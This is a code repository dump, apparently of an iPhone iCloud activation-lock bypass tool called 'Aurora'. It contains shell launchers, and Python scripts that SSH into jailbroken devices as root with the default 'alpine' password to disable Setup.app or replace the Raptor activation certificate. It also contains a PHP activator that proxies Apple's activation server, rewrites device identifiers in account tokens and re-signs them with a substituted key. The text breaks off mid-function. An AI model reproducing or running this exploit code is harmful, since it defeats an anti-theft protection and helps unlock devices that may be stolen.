20 | if ! command -v pip3 &> /dev/null; then
21 | echo 'Error: pip3 is not installed.' >&2
22 | exit 1
23 | else
24 | echo "pip3 is installed"
25 | fi
26 |
27 | # Getting ready to jailbreak
28 | sudo ./source/exe/jk
29 |
30 | # Ask if jailbreak is done
31 | while true; do
32 | read -p "Is the jailbreak done? (y/n): " yn
33 | case $yn in
34 | [Yy]* )
35 | break;;
36 | [Nn]* )
37 | echo "Please wait for the jailbreak to complete. Press Ctrl+C to exit if needed."
38 | sleep 10;;
39 | * )
40 | echo "Please answer y or n.";;
41 | esac
42 | done
43 |
44 | # Checking for python scripts
45 | for script in "./source/scripts/bypass.py" "./source/scripts/usbmux.py"; do
46 | if [ -f "$script" ]; then
47 | echo "$script found"
48 | else
49 | echo "$script not found"
50 | exit 1
51 | fi
52 | done
53 |
54 | # Installing required libs
55 | echo "Installing required libs..."
56 | sudo pip3 install paramiko
57 |
58 | # All files are found
59 | echo "All files are found"
60 | echo "Good luck"
61 |
62 | # Starting python scripts
63 | echo "Starting python scripts..."
64 | echo "Let the script finish. Wait 2-5 minutes, and your device should be unlocked."
65 | echo "ON COMPLETE REBOOT DEVICE MAY BE LOCKED, AND SIM CARD WON'T WORK"
66 | echo "ON SOME IOS VERSIONS THIS WON'T WORK. PLEASE DO NOT UPDATE; IF IT DOES NOT WORK, DOWNGRADE IOS"
67 |
68 | # Countdown
69 | for i in {1..5}; do
70 | echo "Starting at $i"
71 | sleep 1
72 | done
73 |
74 | # Running bypass.py
75 | python3 ./source/scripts/bypass.py
76 |
77 | exit 0
78 |
--------------------------------------------------------------------------------
/source/jailbreak.sh:
--------------------------------------------------------------------------------
1 | echo "Getting ready to jailbreak..."
2 | sudo ./exe/jk
3 | echo "If jailbreak was successfull you should continue"
4 | read -p "Press button R to restart jailbreak or press enter to continue"
5 | if [ "$REPLY" == "r" ]; then
6 | echo "Restarting jailbreak..."
7 | sudo ./source/exe/jk
8 | else
9 | echo "You selected to continue"
10 | sudo ./source/exe/jk
11 | fi
12 |
--------------------------------------------------------------------------------
/source/php.sh:
--------------------------------------------------------------------------------
1 | echo "Aurora IOS PHP UNLOCK"
2 | echo "Checking for python3..."
3 | if ! [ -x "$(command -v python3)" ]; then
4 | echo 'Error: python3 is not installed.' >&2
5 | exit 1
6 | else
7 | echo "python3 is installed"
8 | fi
9 | echo "Checking for pip3..."
10 | if ! [ -x "$(command -v pip3)" ]; then
11 | echo 'Error: pip3 is not installed.' >&2
12 | exit 1
13 | else
14 | echo "pip3 is installed"
15 | fi
16 | echo "Installing required libs..."
17 | sudo pip3 install paramiko
18 | echo "Launching shell"
19 | python3 ./source/scripts/php.py restore
20 | #
21 | chmod +x ./source/scripts/phpbypass/start.sh
22 | ./source/scripts/phpbypass/start.sh
23 |
--------------------------------------------------------------------------------
/source/rm_oldicloud.sh:
--------------------------------------------------------------------------------
1 | echo "Aurora IOS remove old icloud account, ONLY WORKS ON JAILBROKEN IPHONES"
2 | echo "Checking for python3..."
3 | if ! [ -x "$(command -v python3)" ]; then
4 | echo 'Error: python3 is not installed.' >&2
5 | exit 1
6 | else
7 | echo "python3 is installed"
8 | fi
9 | echo "Checking for pip3..."
10 | if ! [ -x "$(command -v pip3)" ]; then
11 | echo 'Error: pip3 is not installed.' >&2
12 | exit 1
13 | else
14 | echo "pip3 is installed"
15 | fi
16 | echo "Installing required libs..."
17 | sudo pip3 install paramiko
18 | echo "Launching shell"
19 | python3 ./source/scripts/remove_oldicloud.py
20 |
--------------------------------------------------------------------------------
/source/root_shell.sh:
--------------------------------------------------------------------------------
1 |
2 | echo "Aurora IOS root shell, ONLY WORKS ON JAILBROKEN IPHONES"
3 | echo "Checking for python3..."
4 | if ! [ -x "$(command -v python3)" ]; then
5 | echo 'Error: python3 is not installed.' >&2
6 | exit 1
7 | else
8 | echo "python3 is installed"
9 | fi
10 | echo "Checking for pip3..."
11 | if ! [ -x "$(command -v pip3)" ]; then
12 | echo 'Error: pip3 is not installed.' >&2
13 | exit 1
14 | else
15 | echo "pip3 is installed"
16 | fi
17 | echo "Installing required libs..."
18 | sudo pip3 install paramiko
19 | echo "Launching shell"
20 | python3 ./source/scripts/shell.py
21 |
--------------------------------------------------------------------------------
/source/scripts/__pycache__/usbmux.cpython-310.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Toni-d-e-v/Aurora-Icloud-bypass/4853aec22a4bfe6d985094f121af656ed9895010/source/scripts/__pycache__/usbmux.cpython-310.pyc
--------------------------------------------------------------------------------
/source/scripts/bypass.py:
--------------------------------------------------------------------------------
1 | import socketserver
2 | import paramiko
3 | import usbmux
4 | import select
5 |
6 | from threading import Thread
7 | from socket import socket
8 |
9 |
10 | class SocketRelay(object):
11 |
12 | def __init__(self, a: socket, b: socket, max_buffer: int = 65535):
13 | self.a = a
14 | self.b = b
15 | self.atob = bytes()
16 | self.btoa = bytes()
17 | self.max_buffer = max_buffer
18 |
19 | def handle(self) -> None:
20 | while True:
21 | rlist = list()
22 | wlist = list()
23 | xlist = [self.a, self.b]
24 | if self.atob:
25 | wlist.append(self.b)
26 | if self.btoa:
27 | wlist.append(self.a)
28 | if len(self.atob) < self.max_buffer:
29 | rlist.append(self.a)
30 | if len(self.btoa) < self.max_buffer:
31 | rlist.append(self.b)
32 | rlo, wlo, xlo = select.select(rlist, wlist, xlist)
33 | if xlo:
34 | return
35 | if self.a in wlo:
36 | n = self.a.send(self.btoa)
37 | self.btoa = self.btoa[n:]
38 | if self.b in wlo:
39 | n = self.b.send(self.atob)
40 | self.atob = self.atob[n:]
41 | if self.a in rlo:
42 | s = self.a.recv(self.max_buffer - len(self.atob))
43 | if not s:
44 | return
45 | self.atob += s
46 | if self.b in rlo:
47 | s = self.b.recv(self.max_buffer - len(self.btoa))
48 | if not s:
49 | return
50 | self.btoa += s
51 |
52 |
53 | class TCPRelay(socketserver.BaseRequestHandler):
54 | def handle(self) -> None:
55 | print("Incoming connection to %d" % self.server.server_address[1])
56 | mux = usbmux.USBMux(None)
57 | print("Waiting for devices...")
58 | if not mux.devices:
59 | mux.process(1.0)
60 | if not mux.devices:
61 | print("No device found")
62 | self.request.close()
63 | return
64 | dev = mux.devices[0]
65 | print("Connecting to device %s" % str(dev))
66 | d_sock = mux.connect(dev, self.server.r_port)
67 | l_sock = self.request
68 | print("Connection established, relaying data")
69 | try:
70 | fwd = SocketRelay(d_sock, l_sock, self.server.buffer_size * 1024)
71 | fwd.handle()
72 | finally:
73 | d_sock.close()
74 | l_sock.close()
75 | print("Connection closed")
76 |
77 |
78 | class TCPServer(socketserver.TCPServer):
79 | allow_reuse_address = True
80 |
81 |
82 | class ThreadedTCPServer(socketserver.ThreadingMixIn, TCPServer):
83 | allow_reuse_address = True
84 |
85 |
86 | class PhoneConnect:
87 |
88 | def __init__(self,
89 | host: str = "localhost", mobile_port: int = 44, computer_port: int = 2222, buffer_size: int = 128):
90 | self.host = host
91 | self.mobile_port = mobile_port
92 | self.computer_port = computer_port
93 | self.buffer_size = buffer_size
94 |
95 | def start(self) -> None:
96 |
97 | servers = list()
98 | ports = [(self.mobile_port, self.computer_port)]
99 |
100 | for r_port, l_port in ports:
101 | print(f"Forwarding local port {l_port} to remote port {r_port}")
102 | server = ThreadedTCPServer((self.host, l_port), TCPRelay)
103 | server.r_port = r_port
104 | server.buffer_size = self.buffer_size
105 | servers.append(server)
106 |
107 | alive = True
108 |
109 | while alive:
110 | try:
111 | rl, wl, xl = select.select(servers, [], [])
112 | for server in rl:
113 | server.handle_request()
114 | except KeyboardInterrupt:
115 | print("Server stopped")
116 | except Exception:
117 | alive = False
118 |
119 |
120 | if __name__ == '__main__':
121 | print("Aurora Bypass by Toni.Dev")
122 | server = PhoneConnect()
123 |
124 | thread = Thread(target=server.start)
125 | thread.start()
126 |
127 | host = "localhost"
128 | user = "root"
129 | secret = "alpine"
130 | port = 2222
131 | command = "cd /;mount -o rw,union,update /;cd /Applications;mv Setup.app Setup.app.bak;uicache -a;" \
132 | "killall -9 SpringBoard"
133 |
134 | client = paramiko.SSHClient()
135 | client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
136 | try:
137 | client.connect(hostname=host, username=user, password=secret, port=port)
138 | client.exec_command(command)
139 | except paramiko.ssh_exception.AuthenticationException:
140 | print("Authentication failed")
141 | except paramiko.ssh_exception.NoValidConnectionsError:
142 | print("Failed to establish connection with the server")
143 |
144 | client.close()
145 | print("Done!")
146 |
147 | thread.join()
--------------------------------------------------------------------------------
/source/scripts/php.py:
--------------------------------------------------------------------------------
1 | import socketserver
2 | import paramiko
3 | import usbmux
4 | import select
5 | import sys
6 | from threading import Thread
7 | from socket import socket
8 |
9 |
10 | class SocketRelay(object):
11 |
12 | def __init__(self, a: socket, b: socket, max_buffer: int = 65535):
13 | self.a = a
14 | self.b = b
15 | self.atob = bytes()
16 | self.btoa = bytes()
17 | self.max_buffer = max_buffer
18 |
19 | def handle(self) -> None:
20 | while True:
21 | rlist = list()
22 | wlist = list()
23 | xlist = [self.a, self.b]
24 | if self.atob:
25 | wlist.append(self.b)
26 | if self.btoa:
27 | wlist.append(self.a)
28 | if len(self.atob) < self.max_buffer:
29 | rlist.append(self.a)
30 | if len(self.btoa) < self.max_buffer:
31 | rlist.append(self.b)
32 | rlo, wlo, xlo = select.select(rlist, wlist, xlist)
33 | if xlo:
34 | return
35 | if self.a in wlo:
36 | n = self.a.send(self.btoa)
37 | self.btoa = self.btoa[n:]
38 | if self.b in wlo:
39 | n = self.b.send(self.atob)
40 | self.atob = self.atob[n:]
41 | if self.a in rlo:
42 | s = self.a.recv(self.max_buffer - len(self.atob))
43 | if not s:
44 | return
45 | self.atob += s
46 | if self.b in rlo:
47 | s = self.b.recv(self.max_buffer - len(self.btoa))
48 | if not s:
49 | return
50 | self.btoa += s
51 |
52 |
53 | class TCPRelay(socketserver.BaseRequestHandler):
54 | def handle(self) -> None:
55 | print("Incoming connection to %d" % self.server.server_address[1])
56 | mux = usbmux.USBMux(None)
57 | print("Waiting for devices...")
58 | if not mux.devices:
59 | mux.process(1.0)
60 | if not mux.devices:
61 | print("No device found")
62 | self.request.close()
63 | return
64 | dev = mux.devices[0]
65 | print("Connecting to device %s" % str(dev))
66 | d_sock = mux.connect(dev, self.server.r_port)
67 | l_sock = self.request
68 | print("Connection established, relaying data")
69 | try:
70 | fwd = SocketRelay(d_sock, l_sock, self.server.buffer_size * 1024)
71 | fwd.handle()
72 | finally:
73 | d_sock.close()
74 | l_sock.close()
75 | print("Connection closed")
76 |
77 |
78 | class TCPServer(socketserver.TCPServer):
79 | allow_reuse_address = True
80 |
81 |
82 | class ThreadedTCPServer(socketserver.ThreadingMixIn, TCPServer):
83 | allow_reuse_address = True
84 |
85 |
86 | class PhoneConnect:
87 |
88 | def __init__(self,
89 | host: str = "localhost", mobile_port: int = 44, computer_port: int = 2222, buffer_size: int = 128):
90 | self.host = host
91 | self.mobile_port = mobile_port
92 | self.computer_port = computer_port
93 | self.buffer_size = buffer_size
94 |
95 | def start(self) -> None:
96 |
97 | servers = list()
98 | ports = [(self.mobile_port, self.computer_port)]
99 |
100 | for r_port, l_port in ports:
101 | print(f"Forwarding local port {l_port} to remote port {r_port}")
102 | server = ThreadedTCPServer((self.host, l_port), TCPRelay)
103 | server.r_port = r_port
104 | server.buffer_size = self.buffer_size
105 | servers.append(server)
106 |
107 | alive = True
108 |
109 | while alive:
110 | try:
111 | rl, wl, xl = select.select(servers, [], [])
112 | for server in rl:
113 | server.handle_request()
114 | except KeyboardInterrupt:
115 | print("Server stopped")
116 | except Exception:
117 | alive = False
118 |
119 |
120 | if __name__ == '__main__':
121 | print("Aurora Toni.Dev")
122 | server = PhoneConnect()
123 |
124 | thread = Thread(target=server.start)
125 | thread.start()
126 | # get args if we dump from a device or to a device
127 | args = sys.argv
128 | arg = args[1]
129 | host = "localhost"
130 | user = "root"
131 | secret = "alpine"
132 | port = 2222
133 | paths = ['System/Library/PrivateFrameworks/MobileActivation.framework/Support/Certificates/RaptorActivation.pem']
134 | local_paths = ['./source/scripts/phpbypass/raptor/RaptorActivation.pem']
135 | client = paramiko.SSHClient()
136 | client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
137 | try:
138 | client.connect(hostname=host, username=user, password=secret, port=port)
139 | sftp = client.open_sftp()
140 | if arg == "dump":
141 | for path in paths:
142 | sftp.get(path,local_paths[paths.index(path)],)
143 | elif arg == "restore":
144 | for path in paths:
145 | sftp.put(local_paths[paths.index(path)],path)
146 | sftp.close()
147 | except paramiko.ssh_exception.AuthenticationException:
148 | print("Authentication failed")
149 | except paramiko.ssh_exception.NoValidConnectionsError:
150 | print("Failed to establish connection with the server")
151 |
152 | client.close()
153 | print("Done!")
154 |
155 | thread.join()
156 |
--------------------------------------------------------------------------------
/source/scripts/phpbypass/README.md:
--------------------------------------------------------------------------------
1 | # MiUnlockCode iCloud Bypass Signal OpenSourceCode!
2 | # ...........::::::Open Source By MiUnlock.Net::::::................
3 |
4 | Supported devices : iPhone/iPad/iPod All iOS & All iDevices Till iPhone X.
5 |
6 | ==== instructions ====
7 |
8 | Raptor Path: 'System/Library/PrivateFrameworks/MobileActivation.framework/Support/Certificates/RaptorActivation.pem'
9 |
10 |
11 | ideviceactivation activate -s http://example.com/activator.php
12 |
13 |
14 | Credits: https://miunlock.net/
15 |
16 | Telegram: @MiUnlockCode
17 |
18 | Donate :
19 |
20 |
21 | # USDT ERC20: 0x93a4ad733bef765110b242906ed6e314cffe851a
22 |
--------------------------------------------------------------------------------
/source/scripts/phpbypass/activator.php:
--------------------------------------------------------------------------------
1 | $activationinfo )); }
31 | }*/
32 | $activationinfo = http_build_query(array('activation-info' => $activationinfo ));
33 | if (isset($_GET['saveRequestTicket']) && !isset($_GET['update'])) {
34 | if (is_file('./var/www/requests/'.$_GET['saveRequestTicket'].'.html')) {
35 | if (is_file('./var/www/requests/'.$_GET['saveRequestTicket'].'-ARS.txt')) { header("ARS: ".file_get_contents('./var/www/requests/'.$_GET['saveRequestTicket'].'-ARS.txt')); }
36 | exit(file_get_contents('./var/www/requests/'.$_GET['saveRequestTicket'].'.html'));
37 | }
38 | }
39 | $ch = curl_init();
40 | curl_setopt($ch, CURLOPT_HTTPHEADER, array("Accept: text/xml"));
41 | curl_setopt($ch, CURLOPT_URL, "https://albert.apple.com/deviceservices/deviceActivation");
42 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
43 | curl_setopt($ch, CURLOPT_POST, 1);
44 | curl_setopt($ch, CURLOPT_POSTFIELDS, $activationinfo);
45 | curl_setopt($ch, CURLOPT_VERBOSE, 1);
46 | curl_setopt($ch, CURLOPT_HEADER, 1);
47 | $albert = curl_exec($ch);
48 | $httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
49 | $content_type = curl_getinfo($ch, CURLINFO_CONTENT_TYPE);
50 | $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
51 | $header = substr($albert, 0, $header_size);
52 | $body = substr($albert, $header_size);
53 | curl_close ($ch);
54 |
55 | $albertHeaderSize = $header_size;
56 | $albertBodySize = strlen($body);
57 | http_response_code($httpcode);
58 | if (strpos($header, 'ARS') !== false) {
59 | $ARS = explode("\r\nARS: ", $header);
60 | $ARS = explode("\r\n", $ARS[1]);
61 | $ARS = $ARS[0];
62 | header("ARS: " . $ARS);
63 | } else { $ARS = ''; }
64 | foreach (getallheaders() as $name => $value) { $headers[$name] = $value; }
65 | $logfile = "logfilename.log";
66 | $rawpost = json_encode($_POST, true);
67 | $rawget = json_encode($_GET, true);
68 | $rawdata = file_get_contents('php://input');
69 | $boundary = boundary();
70 |
71 | if(strpos($body, 'clientInfo ack-received="true') !== false) {
72 | header("Content-Type: application/x-buddyml");
73 | echo $body;
74 | exit;
75 | } elseif(strpos($body, 'AccountToken---Certificate') !== false) {
76 | $data = ActivationRecordXML($body);
77 | $dir = './var/www/requests';
78 | $requestfile = '';
79 | if(isset($_GET['saveRequestTicket'])) { $requestfile .= $_GET['saveRequestTicket']; }
80 | file_put_contents('./var/www/requests/'.$requestfile.'-AccTokenCert.txt' ,$data['AccountTokenCertificate']."\n".urldecode($activationinfo)."\n".$body);
81 | // openssl_sign(base64_decode($data['AccountToken']), $signature, openssl_pkey_get_private(PrivateKeyRaptor()), OPENSSL_ALGO_SHA1);
82 | // $body = str_replace($data['AccountTokenSignature'], '', $body);
83 | // $body = str_replace($data['AccountTokenCertificate'], AccountTokenCertificateTest(), $body);
84 | // $body = str_replace($data['UniqueDeviceCertificate'], '', $body);
85 | // file_put_contents('./var/www/requests/'.$_GET['saveRequestTicket'].'-Body.txt', "\nOur sign:\n".$signature."\nAlb sign:\n".$data['AccountTokenSignature']."\nCert:\n".AccountTokenCertificateTest());
86 | // if (!is_dir('./var/www/requests')) mkdir('./var/www/requests');
87 | $data = call_user_func_array('array_merge', [ActivationRecordXML($body), ActivationRequestInfoXML($rawactpost, 1)]);
88 | $FairPlayKeyData = $data['FairPlayKeyData'];
89 | if(isset($data['SerialNumber'])) {
90 | $data['ARS'] = $ARS;
91 | $data['albertHeaderSize'] = $albertHeaderSize;
92 | $data['albertBodySize'] = $albertBodySize;
93 | $data['outputBodySize'] = strlen($body);
94 | $data['outputHeaders'] = headers_list();
95 | $fileDeviceCertRequest = $dir.'/'.$data['SerialNumber'].'-DeviceCert.pem';
96 | file_put_contents($fileDeviceCertRequest, base64_decode($data['DeviceCertRequest']));
97 | $CSRout = base64_encode(shell_exec("(openssl x509 -req -days 1096 -CA $dir/CAcrt.pem -CAkey $dir/privkey.pem -set_serial 0x$(openssl rand -hex 9) -outform PEM -sha1 -extensions v3_ca -extfile $dir/CSR.cnf -in $fileDeviceCertRequest)"));
98 | // // Replace DeviceCertificate //
99 | // $body = str_replace($data['DeviceCertificate'], $CSRout, $body);
100 | // $body = str_replace($data['ActivationInfoXML'], str_repeat("1", strlen($data['ActivationInfoXML'])), $body);
101 | file_put_contents($fileDeviceCertRequest.".csr", base64_decode($data['DeviceCertRequest'])."\n\n".base64_decode($CSRout));
102 | $file = './var/www/requests/'.$data['SerialNumber'].'-'.$data['DeviceClass'].'-'.$data['RegionCode'].'-'.$data['ProductVersion'].'-'.$data['RegulatoryModelNumber'];
103 | if (is_file($file.'-all.txt')) { file_put_contents($file.'-all.txt', json_encode($data)."\r\n".file_get_contents($file.'-all.txt')); }
104 | else { file_put_contents($file.'-all.txt', json_encode($data)); }
105 | file_put_contents($file.'-raw.txt', $data);
106 | }
107 | } else {
108 | $serverKP = substr(chunk_split(base64_encode(current(explode('', next(explode('serverKP', drmHandshake()))))), 68, "\n\t"), 0, -2);
109 | $data = ActivationRequestInfoXML($rawactpost, 1);
110 | $ActivationInfoXML = base64_decode($data['ActivationInfoXML']);
111 | $dataSet = ActivationRequestInfoXMLNew(reqTicket($ActivationInfoXML, $serverKP));
112 |
113 | $reqTicketOut = reqTicket(makeTickets($ActivationInfoXML, $dataSet['InternationalMobileEquipmentIdentity'], $dataSet['SerialNumber'], $dataSet['UniqueDeviceID']), $serverKP);
114 | $final = actAlbertTicket($reqTicketOut);
115 |
116 | $dataGet = ActivationRecordXML($final);
117 |
118 | if ($AccountToken = base64_decode($dataGet['AccountToken'])) {
119 | file_put_contents('./var/www/requests/'.$data['SerialNumber'].'-'.$data['DeviceClass'].'-'.$data['RegionCode'].'-'.$data['ProductVersion'].'-Token.txt', "Before: ".$AccountToken."\n");
120 | if(strpos($AccountToken, 'MobileEquipmentIdentifier') !== false) {
121 | $AccountToken = str_replace($dataGet['InternationalMobileEquipmentIdentity'] , $dataSet['InternationalMobileEquipmentIdentity'], $AccountToken);
122 | $AccountToken = str_replace($dataGet['MobileEquipmentIdentifier'] , $dataSet['MobileEquipmentIdentifier'], $AccountToken);
123 | $AccountToken = str_replace($dataGet['SerialNumber'] , $dataSet['SerialNumber'], $AccountToken);
124 | $AccountToken = str_replace($dataGet['UniqueDeviceID'] , $dataSet['UniqueDeviceID'], $AccountToken);
125 | if (isset($dataGet['ActivationTicket'])) {
126 | $AccountToken = str_replace($dataGet['ActivationTicket'], base64_encode(hex2bin(str_replace(array('35567207227802', '35495707243538'), array(substr($dataSet['InternationalMobileEquipmentIdentity'], 0, 14), substr($dataSet['InternationalMobileEquipmentIdentity'], 0, 14)), bin2hex(base64_decode($dataGet['ActivationTicket']))))), $AccountToken);
127 | } elseif (isset($dataGet['WildcardTicket'])) {
128 | $AccountToken = str_replace($dataGet['WildcardTicket'], base64_encode(hex2bin(str_replace(array('35567207227802', '35495707243538'), array(substr($dataSet['InternationalMobileEquipmentIdentity'], 0, 14), substr($dataSet['InternationalMobileEquipmentIdentity'], 0, 14)), bin2hex(base64_decode($dataGet['WildcardTicket']))))), $AccountToken);
129 | }
130 | }
131 | elseif(strpos($AccountToken, 'InternationalMobileEquipmentIdentity') !== false) {
132 | $AccountToken = str_replace($dataGet['InternationalMobileEquipmentIdentity'] , $dataSet['InternationalMobileEquipmentIdentity'], $AccountToken);
133 | $AccountToken = str_replace($dataGet['SerialNumber'] , $dataSet['SerialNumber'], $AccountToken);
134 | if (isset($dataGet['ActivationTicket'])) {
135 | $AccountToken = str_replace($dataGet['ActivationTicket'], base64_encode(hex2bin(str_replace(array('35567207227802', '35495707243538'), array(substr($dataSet['InternationalMobileEquipmentIdentity'], 0, 14), substr($dataSet['InternationalMobileEquipmentIdentity'], 0, 14)), bin2hex(base64_decode($dataGet['ActivationTicket']))))), $AccountToken);
136 | } elseif (isset($dataGet['WildcardTicket'])) {
137 | $AccountToken = str_replace($dataGet['WildcardTicket'], base64_encode(hex2bin(str_replace(array('35567207227802', '35495707243538'), array(substr($dataSet['InternationalMobileEquipmentIdentity'], 0, 14), substr($dataSet['InternationalMobileEquipmentIdentity'], 0, 14)), bin2hex(base64_decode($dataGet['WildcardTicket']))))), $AccountToken);
138 | }
139 | }
140 | elseif(strpos($AccountToken, 'SerialNumber') !== false) {
141 | $AccountToken = str_replace($dataGet['SerialNumber'] , $dataSet['SerialNumber'], $AccountToken);
142 | } else {
143 | die('Error: 772');
144 | }
145 | // $AccountToken = str_replace('WildcardTicket', 'ActivationTicket', $AccountToken);
146 | $AccountToken = str_replace('ActivationTicket', 'WildcardTicket', $AccountToken);
147 |
148 | openssl_sign($AccountToken, $AccountTokenSignature, openssl_pkey_get_private(PrivateKeyRaptor()), OPENSSL_ALGO_SHA1);
149 | $body = str_replace($dataGet['AccountTokenSignature'], base64_encode($AccountTokenSignature), str_replace($dataGet['AccountToken'], base64_encode($AccountToken), $final));
150 | $body = str_replace('DeviceCertificate', 'DeviceConfigurationFlags0DeviceCertificate', $body);
151 | /*
152 | $body = str_replace('FairPlayKeyData', '', $body);
153 | $body = str_replace($dataGet['FairPlayKeyData'], '', $body);
154 | $body = str_replace('', '', $body);
155 | */
156 | }
157 | else {
158 | $ActivationInfoXML = $data['ActivationInfoXML'];
159 | if(isset($data['MobileEquipmentIdentifier']) && isset($data['ActivationRandomness'])) {
160 | $AccountToken = '{
161 | "InternationalMobileEquipmentIdentity" = "'.$data['InternationalMobileEquipmentIdentity'].'";
162 | "MobileEquipmentIdentifier" = "'.$data['MobileEquipmentIdentifier'].'";
163 | "SerialNumber" = "'.$data['SerialNumber'].'";
164 | "ProductType" = "'.$data['ProductType'].'";
165 | "UniqueDeviceID" = "'.$data['UniqueDeviceID'].'";
166 | "ActivationRandomness" = "'.$data['ActivationRandomness'].'";
167 | "ActivityURL" = "https://albert.apple.com/deviceservices/activity";
168 | "PhoneNumberNotificationURL" = "https://albert.apple.com/deviceservices/phoneHome";
169 | "ActivationTicket" = "MIIBlQIBATALBgkqhkiG9w0BAQUxYJ8/BC56C7CfQAThIG8An0sUiTgt/7kRqltcW9/wE3cVASX7moifh20HATiRACURN5+XPQwAAAAA7u7u7u7u7u+flz4EAAAAAJ+XPwQBAAAAn5dABAEAAACfl0wEAAAAAASBgKGhiSVSKmUcLcWBY4/i4hwTL8N9b6d7lEmyZ8fYnFL2+kmrSAFGAS6GILW97/2OEUFD3sMyXKEvQsjHXdMosBIUH33CaMuLi2rgEEvLGFSEYnGo5Bx9E1mtScikaAgPlxtToLyuLdz89+M9UN5xBSqTqF9RG55J5WQUd0nZhlRjo4GdMAsGCSqGSIb3DQEBAQOBjQAwgYkCgYEA7To/ZNHoIJzBUgY0734vsgl+ACxDQ+f4quvmSrPAtgDENSZwaVrHXpF+cRKBABqkDa00YcENx2dtS1tuHLKDNn1zMZLaZRpiK9UeiMPNZL6mlg12BWLwVjlFOGED8U6pfXwOw6D/FCDRgvyGBn7wsw8sEa7AdlYmMHGmkvwgOP0CAwEAAQ==";
170 | }'; }
171 | elseif(isset($data['MobileEquipmentIdentifier'])) {
172 | $AccountToken = '{
173 | "InternationalMobileEquipmentIdentity" = "'.$data['InternationalMobileEquipmentIdentity'].'";
174 | "MobileEquipmentIdentifier" = "'.$data['MobileEquipmentIdentifier'].'";
175 | "SerialNumber" = "'.$data['SerialNumber'].'";
176 | "ProductType" = "'.$data['ProductType'].'";
177 | "UniqueDeviceID" = "'.$data['UniqueDeviceID'].'";
178 | "ActivityURL" = "https://albert.apple.com/deviceservices/activity";
179 | "PhoneNumberNotificationURL" = "https://albert.apple.com/deviceservices/phoneHome";
180 | "ActivationTicket" = "MIIBlQIBATALBgkqhkiG9w0BAQUxYJ8/BC56C7CfQAThIG8An0sUiTgt/7kRqltcW9/wE3cVASX7moifh20HATiRACURN5+XPQwAAAAA7u7u7u7u7u+flz4EAAAAAJ+XPwQBAAAAn5dABAEAAACfl0wEAAAAAASBgKGhiSVSKmUcLcWBY4/i4hwTL8N9b6d7lEmyZ8fYnFL2+kmrSAFGAS6GILW97/2OEUFD3sMyXKEvQsjHXdMosBIUH33CaMuLi2rgEEvLGFSEYnGo5Bx9E1mtScikaAgPlxtToLyuLdz89+M9UN5xBSqTqF9RG55J5WQUd0nZhlRjo4GdMAsGCSqGSIb3DQEBAQOBjQAwgYkCgYEA7To/ZNHoIJzBUgY0734vsgl+ACxDQ+f4quvmSrPAtgDENSZwaVrHXpF+cRKBABqkDa00YcENx2dtS1tuHLKDNn1zMZLaZRpiK9UeiMPNZL6mlg12BWLwVjlFOGED8U6pfXwOw6D/FCDRgvyGBn7wsw8sEa7AdlYmMHGmkvwgOP0CAwEAAQ==";
181 | }'; }
182 | elseif(isset($data['ActivationRandomness'])) {
183 | $AccountToken = '{
184 | "InternationalMobileEquipmentIdentity" = "'.$data['InternationalMobileEquipmentIdentity'].'";
185 | "SerialNumber" = "'.$data['SerialNumber'].'";
186 | "ProductType" = "'.$data['ProductType'].'";
187 | "UniqueDeviceID" = "'.$data['UniqueDeviceID'].'";
188 | "ActivationRandomness" = "'.$data['ActivationRandomness'].'";
189 | "ActivityURL" = "https://albert.apple.com/deviceservices/activity";
190 | "PhoneNumberNotificationURL" = "https://albert.apple.com/deviceservices/phoneHome";
191 | "ActivationTicket" = "MIIBlQIBATALBgkqhkiG9w0BAQUxYJ8/BC56C7CfQAThIG8An0sUiTgt/7kRqltcW9/wE3cVASX7moifh20HATiRACURN5+XPQwAAAAA7u7u7u7u7u+flz4EAAAAAJ+XPwQBAAAAn5dABAEAAACfl0wEAAAAAASBgKGhiSVSKmUcLcWBY4/i4hwTL8N9b6d7lEmyZ8fYnFL2+kmrSAFGAS6GILW97/2OEUFD3sMyXKEvQsjHXdMosBIUH33CaMuLi2rgEEvLGFSEYnGo5Bx9E1mtScikaAgPlxtToLyuLdz89+M9UN5xBSqTqF9RG55J5WQUd0nZhlRjo4GdMAsGCSqGSIb3DQEBAQOBjQAwgYkCgYEA7To/ZNHoIJzBUgY0734vsgl+ACxDQ+f4quvmSrPAtgDENSZwaVrHXpF+cRKBABqkDa00YcENx2dtS1tuHLKDNn1zMZLaZRpiK9UeiMPNZL6mlg12BWLwVjlFOGED8U6pfXwOw6D/FCDRgvyGBn7wsw8sEa7AdlYmMHGmkvwgOP0CAwEAAQ==";
192 | }'; }
193 | else { $AccountToken = '{
194 | "InternationalMobileEquipmentIdentity" = "'.$data['InternationalMobileEquipmentIdentity'].'";
195 | "SerialNumber" = "'.$data['SerialNumber'].'";
196 | "ProductType" = "'.$data['ProductType'].'";
197 | "UniqueDeviceID" = "'.$data['UniqueDeviceID'].'";
198 | "ActivityURL" = "https://albert.apple.com/deviceservices/activity";
199 | "PhoneNumberNotificationURL" = "https://albert.apple.com/deviceservices/phoneHome";
200 | "ActivationTicket" = "MIIBlQIBATALBgkqhkiG9w0BAQUxYJ8/BC56C7CfQAThIG8An0sUiTgt/7kRqltcW9/wE3cVASX7moifh20HATiRACURN5+XPQwAAAAA7u7u7u7u7u+flz4EAAAAAJ+XPwQBAAAAn5dABAEAAACfl0wEAAAAAASBgKGhiSVSKmUcLcWBY4/i4hwTL8N9b6d7lEmyZ8fYnFL2+kmrSAFGAS6GILW97/2OEUFD3sMyXKEvQsjHXdMosBIUH33CaMuLi2rgEEvLGFSEYnGo5Bx9E1mtScikaAgPlxtToLyuLdz89+M9UN5xBSqTqF9RG55J5WQUd0nZhlRjo4GdMAsGCSqGSIb3DQEBAQOBjQAwgYkCgYEA7To/ZNHoIJzBUgY0734vsgl+ACxDQ+f4quvmSrPAtgDENSZwaVrHXpF+cRKBABqkDa00YcENx2dtS1tuHLKDNn1zMZLaZRpiK9UeiMPNZL6mlg12BWLwVjlFOGED8U6pfXwOw6D/FCDRgvyGBn7wsw8sEa7AdlYmMHGmkvwgOP0CAwEAAQ==";
201 | }'; }
202 |
203 | $AccountToken = base64_encode($AccountToken);
204 | // iPhone 5S - FPDATA
205 | if (empty($FairPlayKeyData)) {
